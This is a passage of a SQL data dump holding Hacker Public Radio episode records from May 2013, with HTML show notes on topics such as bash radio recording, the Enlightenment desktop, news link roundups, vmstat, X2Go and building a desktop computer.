(1247,'2013-05-14','Recording Terrestrial Radio with bash scripts and cron jobs',876,'Using a Bash script to capture terrestrial radio','<p>In this episode I talk about my solution for capturing terrestrial \r\nradio so that I can listen to it at my own convenience. I use a bash \r\nscript, cron jobs, and the <a href=\"https://streamripper.sourceforge.net/\">streamripper</a> package. here are some links \r\nto things I mentioned in the podcast. </p>\r\n\r\n<p>Jezra\'s command-line audio player <strong>sap</strong> (simple audio\r\nplayer): <a href=\"https://www.jezra.net/projects/sap\">https://www.jezra.net/projects/sap</a>  </p>\r\n\r\n<p>Streamripper: <a href=\"https://streamripper.sourceforge.net/\">https://streamripper.sourceforge.net/</a>  </p>\r\n\r\n<p>Radio station KRVS 88.7 FM, Lafayette, Louisiana, USA <a href=\"https://krvs.org/\">https://krvs.org/</a>  </p>\r\n\r\n<p>And you can see the whole radio-recording script here:\r\n<a href=\"https://jonathankulp.org/archives/647\">https://jonathankulp.org/archives/647</a></p>',238,42,1,'CC-BY-SA','bash,scripting,radio,streamripper,simple audio player',0,1786,1),
(1248,'2013-05-15','Frank Bell Achieves Enlightenment Adventures with E17 Pt One',1720,'About Enlightenment E17, part 1','<p>\r\nThere was great rejoicing in the Linux community when the Enlightenment Desktop, v. 0.17 (AKA E17), was released recently.  It was the first major upgrade in well over a decade to a desktop environment that many remembered fondly for its commitment to a visually pleasing computing experience.  \r\n</p>\r\n<p>\r\nFrank Bell describes how he started using Enlightenment and what he has encountered so far.  In this, the first of two parts, he addresses installing Enlightenment, Enlightenment\'s \"first-run\" dialog, the structure of the desktop, the menu, and the management applications and windows on the desktop.  \r\n</p>\r\n<p>\r\nPart Two will focus on the nitty-gritty of configuring the appearance and behavior of Enlightenment.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li>E17 Screenshot:  <a href=\"https://pineviewfarm.net/misc/e17_2.jpg\">https://pineviewfarm.net/misc/e17_2.jpg</a>\r\n</li>\r\n<li>Enlightenment website:  <a href=\"https://www.enlightenment.org/\">https://www.enlightenment.org/</a>\r\n</li>\r\n<li>Enlightenment wiki:  <a href=\"https://trac.enlightenment.org/e/wiki\">https://trac.enlightenment.org/e/wiki</a>\r\n</li>\r\n<li>Themes and eye candy:  <a href=\"https://e17-stuff.org/\">https://e17-stuff.org/</a>\r\n</li>\r\n<li>Enlightenment article at the Arch wiki:  <a href=\"https://wiki.archlinux.org/index.php/Enlightenment\">https://wiki.archlinux.org/index.php/Enlightenment</a>\r\n</li>\r\n<li>Bodhi Linux Guide to Enlightenment (Enlightenment is Bodhi\'s default desktop): <a href=\"https://www.bodhilinux.com/e17guide/e17guideEN/index.html\">https://www.bodhilinux.com/e17guide/e17guideEN/index.html</a>\r\n</li>\r\n<li>Frank\'s Enlightenment handout for his LUG:  <a href=\"https://www.pineviewfarm.net/misc/TWUUG_E17.pdf\">https://www.pineviewfarm.net/misc/TWUUG_E17.pdf</a>\r\n</li>\r\n<li>Enlightenment Slackbuild:  <a href=\"https://slackbuilds.org/repository/14.0/desktop/enlightenment\">https://slackbuilds.org/repository/14.0/desktop/enlightenment</a>\r\n</li>\r\n<li>SlackE17 binary: <a href=\"https://sourceforge.net/projects/slacke17\">https://sourceforge.net/projects/slacke17</a>\r\n</li>\r\n<li>Kernel Panic Oggcast Interview with Rasterman (Carsten Haitzler), Enlightenment maintainer:  <a href=\"https://kernelpanicoggcast.net/Oggcasts/KernelPanic_71.ogg\">https://kernelpanicoggcast.net/Oggcasts/KernelPanic_71.ogg</a>\r\n</li>\r\n</ul>',195,0,1,'CC-BY-SA','\"Enlightenment Desktop\",\"Bodhi Linux\"',0,1812,1),
(1249,'2013-05-16','Software Patents: Who\'s Behind the Curtain?',3646,'Deb Nicholson speaks about Software Patents at LinxFest Northwest, April 27, 2013','<!-- Released as Deb is a new host but also because LFNW have reserved slots -->\r\n<p>\r\nDeb Nicholson works at the intersection of technology and social justice. She is the Community Outreach Director at the Open Invention Network <a href=\"https://www.openinventionnetwork.com\">https://www.openinventionnetwork.com</a> and the Community Manager at GNU MediaGoblin <a href=\"https://www.openinventionnetwork.com\">https://www.openinventionnetwork.com</a>. She also serves on the board at Open Hatch <a href=\"https://openhatch.org/\">https://openhatch.org/</a>, a non-profit dedicated to matching prospective free software contributors with communities, tools and education. She lives in the United States in Cambridge, Massachusetts.\r\n</p>',245,0,1,'CC-BY-SA','\"Software Patents\",\"LinxFest Northwest\",\"Deb Nicholson\",\"Open Invention Network\"',0,1890,1),
(1250,'2013-05-17','Interview With YTCracker',6046,'Pokey interviews YTCracker','<p>\r\nThis is an interview with YTCracker, one of my favorite NerdCore rappers. You can find links to his music on his website <a href=\"https://www.ytcracker.com/\">https://www.ytcracker.com/</a>\r\n</p>\r\n<p>\r\nIf you like Nerdcore Rap, a good website to check out is <a href=\"https://nerdcorenow.com\">https://nerdcorenow.com</a>. They have a few \"various artists\" compilation albums available for download. \r\n</p>\r\n<p>\r\nThanks to my guest, YTCracker for coming on Hacker Public Radio, and thank you for listening.\r\n</p>',128,78,1,'CC-BY-SA','Nerdcore Rap',0,1955,1),
(1251,'2013-05-20','TGTM Newscast for 2013-05-19 DeepGeek',1931,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://inthesetimes.com/article/14972/at_last_occupiers_turned_owners_celebrate_factory_opening/\">A New Era for Worker Ownership, 5 Years in the Making</a>\r\n</li>\r\n<li><a href=\"https://www.allgov.com/news/controversies/new-york-city-may-let-non-citizens-vote-in-local-elections-130511?news=849990\">New York City May Let Non-Citizens Vote in Local Elections</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130509/10194223020/chinas-state-run-tv-uses-daily-show-clip-to-demonize-us-viewers-point-out-irony.shtml\">China\'s State-Run TV Uses Daily Show Clip To Demonize US, Viewers Point Out The Irony</a>\r\n\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/news/9202\">\"Part of the Transition to Socialism\": Venezuela\'s Labour Law Comes into Effect</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/10/headlines#51012\">New York City Council Passes Sick-Pay Bill </a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-asks-court-to-dump-the-baseless-criminal-case-130509/\">Megaupload Asks Court to Dump The “Baseless” Criminal Case</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/syrian-internet-goes-dark-leaving-questions-and-uncertainty-0\">Syrian Internet Goes Dark, Leaving Questions and Uncertainty</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/update-email-privacy-law-must-go-further\">Update to Email Privacy Law Must Go Further</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/why-private-torrent-sites-have-strict-copyright-enforcement-rules-130511/\">Why Private Torrent Sites Have Strict Copyright Enforcement Rules</a>\r\n\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130507/18512622997/blogger-issues-dmca-notice-to-take-down-posts-infringing-his-how-to-infringe-post.shtml\">Blogger Issues DMCA Notice To Take Down Posts Infringing His \'How To Infringe\' Post</a>\r\n</li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://sacsis.org.za/site/article/1652\">The Death of Truth</a>\r\n</li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/9201\">The New York Times on Venezuela and Honduras: A Case of Journalistic Misconduct</a>\r\n</li>\r\n<li><a href=\"https://www.iww.org/en/content/reinventing-wheel-real-green-jobs-story\">Reinventing the Wheel - The REAL Green Jobs Story</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=92865\">When Will the Works of Octavio Paz be Published in Cuba? </a>\r\n\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/u-s-govt-attack-on-megaupload-bears-hallmarks-of-digital-gitmo-130507/\">U.S. Govt. Attack on Megaupload Bears Hallmarks of ‘Digital Gitmo’</a>\r\n</li></ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p><p>\r\nNews from \"techdirt.com,\" \"inthesetimes.com,\"\r\nand\r\n \"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://inthesetimes.com/article/14972/at_last_occupiers_turned_owners_celebrate_factory_opening/\">https://inthesetimes.com/article/14972/at_last_occupiers_turned_owners_celebrate_factory_opening/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/controversies/new-york-city-may-let-non-citizens-vote-in-local-elections-130511?news=849990\">https://www.allgov.com/news/controversies/new-york-city-may-let-non-citizens-vote-in-local-elections-130511?news=849990</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130509/10194223020/chinas-state-run-tv-uses-daily-show-clip-to-demonize-us-viewers-point-out-irony.shtml\">https://www.techdirt.com/articles/20130509/10194223020/chinas-state-run-tv-uses-daily-show-clip-to-demonize-us-viewers-point-out-irony.shtml</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/news/9202\">https://venezuelanalysis.com/news/9202</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/10/headlines#51012\">https://www.democracynow.org/2013/5/10/headlines#51012</a></li>\r\n<li><a href=\"https://torrentfreak.com/megaupload-asks-court-to-dump-the-baseless-criminal-case-130509/\">https://torrentfreak.com/megaupload-asks-court-to-dump-the-baseless-criminal-case-130509/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/syrian-internet-goes-dark-leaving-questions-and-uncertainty-0\">https://www.eff.org/deeplinks/2013/05/syrian-internet-goes-dark-leaving-questions-and-uncertainty-0</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/update-email-privacy-law-must-go-further\">https://www.eff.org/deeplinks/2013/05/update-email-privacy-law-must-go-further</a></li>\r\n<li><a href=\"https://torrentfreak.com/why-private-torrent-sites-have-strict-copyright-enforcement-rules-130511/\">https://torrentfreak.com/why-private-torrent-sites-have-strict-copyright-enforcement-rules-130511/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130507/18512622997/blogger-issues-dmca-notice-to-take-down-posts-infringing-his-how-to-infringe-post.shtml\">https://www.techdirt.com/articles/20130507/18512622997/blogger-issues-dmca-notice-to-take-down-posts-infringing-his-how-to-infringe-post.shtml</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1652\">https://sacsis.org.za/site/article/1652</a></li>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/9201\">https://venezuelanalysis.com/analysis/9201</a></li>\r\n<li><a href=\"https://www.iww.org/en/content/reinventing-wheel-real-green-jobs-story\">https://www.iww.org/en/content/reinventing-wheel-real-green-jobs-story</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=92865\">https://www.havanatimes.org/?p=92865</a></li>\r\n<li><a href=\"https://torrentfreak.com/u-s-govt-attack-on-megaupload-bears-hallmarks-of-digital-gitmo-130507/\">https://torrentfreak.com/u-s-govt-attack-on-megaupload-bears-hallmarks-of-digital-gitmo-130507/</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1662,1),
(1252,'2013-05-21','The Long Road To Linux',1895,'Beeza has been in the IT world for a long time','<!-- New host -->\r\n<p>\r\nOver about 30 years Beeza has been a software developer and tester, a system designer and technical author. In that time he\'s worked with a wide range of software, hardware and technologies. From DOS and the early days of Windows and the Mac, through to his conversion to Linux, he\'s seen great changes in the way we develop software and use computers. Not all the changes have necessarily been for the better, though.\r\n</p>\r\n<p>\r\nFor anyone who\'s been around the IT world for a while, this may be a short trip down memory lane. For relative newcomers, it may come as a surprise to discover just how much was achieved years ago with so few resources.\r\n</p>',246,0,1,'CC-BY-SA','minicomputer,daisywheel,\"winchester disk\",FORTRAN77,\"DEC VAX\",VMS,VAXcluster,\"IBM AS/400\"',0,1987,1),
(1253,'2013-05-22','LiTS 030: vmstat',1723,'Report virtual memory statistics with the <em>vmstat</em> command','<p>\r\nEpisode 30 of Linux in the Shell talks about the use of the vmstat \r\ncommand. Learn about Linux Virtual Memory managment and the files in \r\n/proc where vmstat gathers information.</p>\r\nFor the full write-up of the command and the corresponding video examples check out <a href=\"https://www.linuxintheshell.com/2013/05/22/episode-030-vmstat/\">https://www.linuxintheshell.com/2013/05/22/episode-030-vmstat/</a>\r\n',7,67,1,'CC-BY-SA','vmstat,virtual memory',0,2446,1),
(1254,'2013-05-23','X2go Remote Linux server/client',275,'X2Go enables you to access a graphical desktop of a computer over the network','<!-- Last released on 2012-08-02 -->\r\n\r\n<p>\r\nWith x2go you can access your desktop using another computer -- that means both LAN and internet connections. The transmission is done using the ssh protocol, so it is encrypted. By using the free nx libraries from NoMachine, a very acceptable performance in both speed and responsiveness is achieved. Even an ISDN connection runs smoothly.\r\n</p>\r\n<p>\r\nThis makes it is possible to connect your laptop to any computer with the environment, applications, and performance of the remote desktop. It is also possible to have a bunch of computers connected to a single server (terminal-server, thin-client).\r\n</p>\r\n<p>\r\nClients are available for Linux (Qt4), Windows, and Mac. The latter two can be downloaded directly as binary from the x2go homepage.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://wiki.archlinux.org/index.php/X2go\">https://wiki.archlinux.org/index.php/X2go</a>\r\n</li>\r\n<li><a href=\"https://wiki.x2go.org/doku.php/start\">https://wiki.x2go.org/doku.php/start</a>\r\n</li>\r\n<li><a href=\"https://wiki.x2go.org/doku.php/wiki:repositories:start\">https://wiki.x2go.org/doku.php/wiki:repositories:start</a>\r\n</li>\r\n<li><a href=\"https://launchpad.net/~x2go/+archive/stable\">https://launchpad.net/~x2go/+archive/stable</a>\r\n</li>\r\n</ul>\r\n',129,0,1,'CC-BY-SA','X2Go,SSH,tunnel,FUSE',0,1812,1),
(1255,'2013-05-24','A life in a software project',620,'In this episode I will read something for you.','<p>\r\nA friend of mine wrote a blog post the day of his 40th birthday. The\r\ntitle was \"Version 4.0 is out!\". I found it very interesting, as he\r\ntold the history of his life as if it was a software project with a\r\nmajor x.0 release every 10th birthday.\r\n</p>',197,0,1,'CC-BY-SA','\"blog post\",birthday,\"software project\"',0,1802,1),
(1256,'2013-05-27','TGTM Newscast for 2013-05-20 Bobobex',1144,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://wlcentral.org/node/2820\">Statement of Lisa L Williams on Bradley Manning</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/doj-subpoena-ap-journalists-shows-need-protect-calling-records\">Justice Department Subpoena of AP Journalists Shows Need to Protect Calling Records</a>\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/12/guest-columnist-kelly-michaels/\">Guest Columnist: Kelly Michaels</a>\r\n\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=93126\">Obama Must Set the Cuban Five Free</a>\r\n</li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/05/15/harry-reid-to-rh-reality-check-military-sexual-assault-reporting-system-needs-fixing/\">Harry Reid to RH Reality Check: Military Sexual Assault Reporting System Needs Fixing</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/six-strikes-anti-piracy-outfit-loses-company-status-faces-penalties-130515/\">“Six Strikes” Anti-Piracy Outfit Loses Company Status, Faces Penalties</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/disappointing-unsealing-decision-aaron-swartz-case\">Disappointing Unsealing Decision in Aaron Swartz Case</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130514/14283523085/interesting-move-peter-sunde-pirate-bay-flattr-to-run-eu-parliament.shtml\">Interesting Move: Peter Sunde, Of The Pirate Bay &amp; Flattr To Run For EU Parliament</a>\r\n\r\n</li>\r\n<li><a href=\"https://www.allgov.com/news/us-and-the-world/latest-middle-east-cyber-attacks-on-us-corporations-employ-sabotage-130515?news=850020\">Latest Middle East Cyber Attacks on U.S. Corporations Employ Sabotage</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130514/01475423078/tv-networks-finally-discover-live-streaming-still-get-it-really-really-wrong.shtml\">TV Networks Finally Discover Live Streaming; Still Get It Really, Really Wrong</a>\r\n</li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.havanatimes.org/?p=93077\">Cuba/Homophobia: It’s Never Too Late </a>\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1659\">Why Cops Bust Down Doors of Medical Pot Growers, But Ignore Men Who Keep Naked Girls on Leashes</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/how-weak-current-dnt-proposal\">Do Not Track: Are Weak Protections Worse Than None At All?</a>\r\n\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/blog/innovation/articles/20130513/21331623075/cable-a-la-carte.shtml\">The McCain Cable Bill Can Only Do So Much; Real Change Is Market-Driven</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/jail-terms-for-unlocking-cellphones-130512/\">Jail Terms For Unlocking Cellphones Shows The True Black Heart Of The Copyright Monopoly</a>\r\n</li></ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p><p>\r\nNews from \"techdirt.com,\" \"maggiemcneill.wordpress.com,\"&nbsp; \"havantimes.org,\"\r\nand\r\n \"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n\r\nNews from \"wlcentral.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.\r\n<p>News from rhrealitycheck.org used under terms published on their webpage.<br />\r\n</p>\r\n\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://wlcentral.org/node/2820\">https://wlcentral.org/node/2820</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/doj-subpoena-ap-journalists-shows-need-protect-calling-records\">https://www.eff.org/deeplinks/2013/05/doj-subpoena-ap-journalists-shows-need-protect-calling-records</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/12/guest-columnist-kelly-michaels/\">https://maggiemcneill.wordpress.com/2013/05/12/guest-columnist-kelly-michaels/</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=93126\">https://www.havanatimes.org/?p=93126</a></li>\r\n<li><a href=\"https://rhrealitycheck.org/article/2013/05/15/harry-reid-to-rh-reality-check-military-sexual-assault-reporting-system-needs-fixing/\">https://rhrealitycheck.org/article/2013/05/15/harry-reid-to-rh-reality-check-military-sexual-assault-reporting-system-needs-fixing/</a></li>\r\n<li><a href=\"https://torrentfreak.com/six-strikes-anti-piracy-outfit-loses-company-status-faces-penalties-130515/\">https://torrentfreak.com/six-strikes-anti-piracy-outfit-loses-company-status-faces-penalties-130515/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/disappointing-unsealing-decision-aaron-swartz-case\">https://www.eff.org/deeplinks/2013/05/disappointing-unsealing-decision-aaron-swartz-case</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130514/14283523085/interesting-move-peter-sunde-pirate-bay-flattr-to-run-eu-parliament.shtml\">https://www.techdirt.com/articles/20130514/14283523085/interesting-move-peter-sunde-pirate-bay-flattr-to-run-eu-parliament.shtml</a></li>\r\n<li><a href=\"https://www.allgov.com/news/us-and-the-world/latest-middle-east-cyber-attacks-on-us-corporations-employ-sabotage-130515?news=850020\">https://www.allgov.com/news/us-and-the-world/latest-middle-east-cyber-attacks-on-us-corporations-employ-sabotage-130515?news=850020</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130514/01475423078/tv-networks-finally-discover-live-streaming-still-get-it-really-really-wrong.shtml\">https://www.techdirt.com/articles/20130514/01475423078/tv-networks-finally-discover-live-streaming-still-get-it-really-really-wrong.shtml</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=93077\">https://www.havanatimes.org/?p=93077</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1659\">https://sacsis.org.za/site/article/1659</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/how-weak-current-dnt-proposal\">https://www.eff.org/deeplinks/2013/05/how-weak-current-dnt-proposal</a></li>\r\n<li><a href=\"https://www.techdirt.com/blog/innovation/articles/20130513/21331623075/cable-a-la-carte.shtml\">https://www.techdirt.com/blog/innovation/articles/20130513/21331623075/cable-a-la-carte.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/jail-terms-for-unlocking-cellphones-130512/\">https://torrentfreak.com/jail-terms-for-unlocking-cellphones-130512/</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1576,1),
(1257,'2013-05-28','Getting things done.',655,'Knightwise speaks of his Apple experiences over recent years','<!--\r\nNormal priority (9 hosts)\r\nThe next regular show is:\r\n\"20130524T121225Z_111_knightwise_hpr_getthingsdone\"\r\n\r\nLast release time of show hosts:\r\n111	2012-02-23	Knightwise <host111@hackerpublicradio.org>\r\n78	2013-03-19	klaatu <klaatu.nospam@nospam.hackerpublicradio.org>\r\n235	2013-03-22	NYbill <nybill.nospam@nospam.gunmonkeynet.net>\r\n30	2013-04-01	Ken Fallon <ken.fallon.nospam@nospam.gmail.com>\r\n115	2013-04-26	sigflup <pantsbutt.nospam@nospam.gmail.com>\r\n198	2013-05-07	Ahuka <zwilnik.nospam@nospam.zwilnik.com>\r\n209	2013-05-13	David Whitman <davidglennwhitman.nospam@nospam.gmail.com>\r\n238	2013-05-14	Jon Kulp <jonlancekulp.nospam@nospam.gmail.com>\r\n195	2013-05-15	Frank Bell <frank.nospam@nospam.pineviewfarm.net>\r\n-->\r\n\r\n\"When you need to get things done : Use a Mac\" That used to be the default answer. But does it still ring true today ? Knightwise takes a look at the history of Apple and its evolution in the power-user landscape over the last decenium.',111,0,1,'CC-BY-SA','Apple,Mac,iPod,iPhone',0,1885,1),
(1258,'2013-05-29','How to Build a Desktop Computer',1298,'Describes how to build a desktop computer with guidance on the order in which to pick components.','<H2>Show Notes for How to Build a Desktop\r\n</H2>\r\n<P><br/>\r\n</P>\r\n<H3>Build vs Buy</H3>\r\n<P>Do you have the interest and time to\r\nresearch and build a desktop computer?</P>\r\n<P>You probably won\'t save a lot of money,\r\nbut with all the research you may get better quality parts.</P>\r\n<P>You will know exactly what\'s in your\r\nsystem should issues or questions ever arise.</P>\r\n<P><br/>\r\n</P>\r\n<H3>Gather requirements</H3>\r\n<P>Define the purpose of the system \r\n</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Use:  gaming,\r\nvideo/photo processing, web browsing/documents</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Applications\r\nshould drive most of your hardware decisions.</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Data protection: \r\nhow much data, how resilient (on-site mirroring, RAID vs. off-site)</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Power protection: \r\nsurge suppression, UPS</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Physical\r\nprotection:  keyed case lock (disassembly prevention), cable anchor</P>\r\n<P><br/>\r\n</P>\r\n<H3>Define a budget \r\n</H3>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Decide what are\r\nyou willing to spend (max, target, min)</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">&nbsp;&nbsp;Check\r\noff-the-shelf models to get the going price points</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Understand there\r\nare trade-offs and if everything is needed at once</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Adding\r\ncapabilities later can help with sticker shock</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">If you have time,\r\nbuy components when prices dip</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Be careful about\r\nreturn policies...some 30 or 90 days</P>\r\n<P><br/>\r\n</P>\r\n<H3>Learn about current technology &amp;\r\nprices</H3>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Core:  CPU,\r\nmemory, motherboard, graphics controller, power supply</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Storage:  solid\r\nstate drives, rotating hard drives, removable media (DVD, USB)</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Auxiliary:  audio,\r\nmonitor, power protection, web cam, printer/scanner, backup drive</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Interfaces:  SATA,\r\nIDE, DDR2, DDR3, PCI, PCI-e, USB, eSATA</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Determine\r\napproximate price range</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Where to research\r\nthis stuff:  Wikipedia, Tom\'s Hardware, Anandtech, Specs on vendor web sites</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Where to shop:  NewEgg.com,\r\nAmazon.com, Dell.com</P>\r\n<P><br/>\r\n</P>\r\n<H3>Understand compatibility</H3>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Hardware-Hardware\r\ncompatibility</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">	Check qualified\r\nhardware list (QHL) on CPU/memory/motherboard</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">	Also known as CPU\r\nsupport list, memory support list, qualified vendor list, etc.</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">	If you can stick\r\nto the QHL parts, h/w compatibility is more assured</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Hardware-Operating\r\nSystem compatibility \r\n</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">Drivers, either\r\nbuilt into the OS or from vendor web site</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">Pay attention to\r\n32-bit vs. 64-bit in both operating systems and drivers</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">Operating\r\nSystem-Application compatibility</P>\r\n<P STYLE=\"margin-left: 1.0in; margin-bottom: 0in\">	I\'m not going to\r\naddress this, but it is something to research and understand.</P>\r\n<P><br/>\r\n</P>\r\n<H3>Define what components you need</H3>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">You will need the\r\ncore and storage components.</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\"><br/>\r\n</P>\r\n<P STYLE=\"margin-left: 0.5in; margin-bottom: 0in\">If you have\r\ncomponents (particularly auxiliary components) from a previous\r\nsystem, you may find you can use them with the new system.  Speakers,\r\nprinter, and monitors are all prime candidates.</P>\r\n<P><br/>\r\n</P>\r\n<H4>Steps</H4>\r\n<OL>\r\n	<LI><H5>CPU</H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>Decide on CPU brand (typically\r\n	Intel or AMD)</P>\r\n	<LI><P>Decide on CPU model, which is\r\n	dictated by your needs and budget</P>\r\n	<LI><P>CPU will dictate motherboard\r\n	socket type</P>\r\n	<LI><P>Be sure to buy CPU in box set so\r\n	it includes CPU fan &amp; heat-sink.  Otherwise, you\'ll need to\r\n	figure out the thermal dissipation needs and physical dimension\r\n	limitations of the case in order to select an appropriate 3rd party\r\n	CPU fan &amp; heat-sink.  This can involve liquid cooling solutions.\r\n	 I\'m not covering thermal solutions in detail here.</P>\r\n</UL>\r\n<OL START=2>\r\n	<LI><H5>Motherboard</H5>\r\n</OL>\r\n<UL>\r\n	<LI><P>Narrow search to motherboards with\r\n	socket type that matches CPU.</P>\r\n	<LI><P>Decide on motherboard form factor\r\n	(ATX, Mini-ATX, Micro-ATX, Mini-ITX, etc.).  See Wikipedia.</P>\r\n	<LI><P>Video on-board or discrete.  \r\n	</P>\r\n<UL>\r\n	<LI><P>If on-board, check if it has\r\n	dedicated memory or borrows memory from main system.  If it borrows\r\n	from the main system, you may want to increase your memory size. \r\n	Recommend using discrete if 3-D requirements exist.  You can go\r\n	discrete later, but you\'ll have wasted money on the motherboard.</P>\r\n	<LI><P>If discrete, ensure motherboard\r\n	has enough high-end PCI-e slots for your needs. \r\n	</P>\r\n</UL>\r\n</UL>\r\n<UL>\r\n	<LI><P>Audio on-board, discrete or\r\n	external.</P>\r\n<UL>\r\n	<LI><P>If on-board, check motherboard has\r\n	suitable output ports for your needs.</P>\r\n	<LI><P>If discrete, ensure motherboard\r\n	has a slot for the audio card.</P>\r\n</UL>\r\n<UL>\r\n	<LI><P>If external audio system will be\r\n	used, make sure motherboard has ports to support it.</P>\r\n	<LI><P>WiFi / Blue Tooth</P>\r\n	<P>While a few motherboards have these,\r\n	they are generally considered inferior for connectivity and security\r\n	on a non-mobile device like a desktop.  It\'s also easy to add a card\r\n	or USB device to obtain them.  Also, when integrated on the\r\n	motherboard, they are harder to upgrade later.</P>\r\n</UL>\r\n</UL>\r\n<UL>\r\n	<LI><P>Outputs ports meet your needs\r\n	(PS2, Parallel, Serial COM, USB, 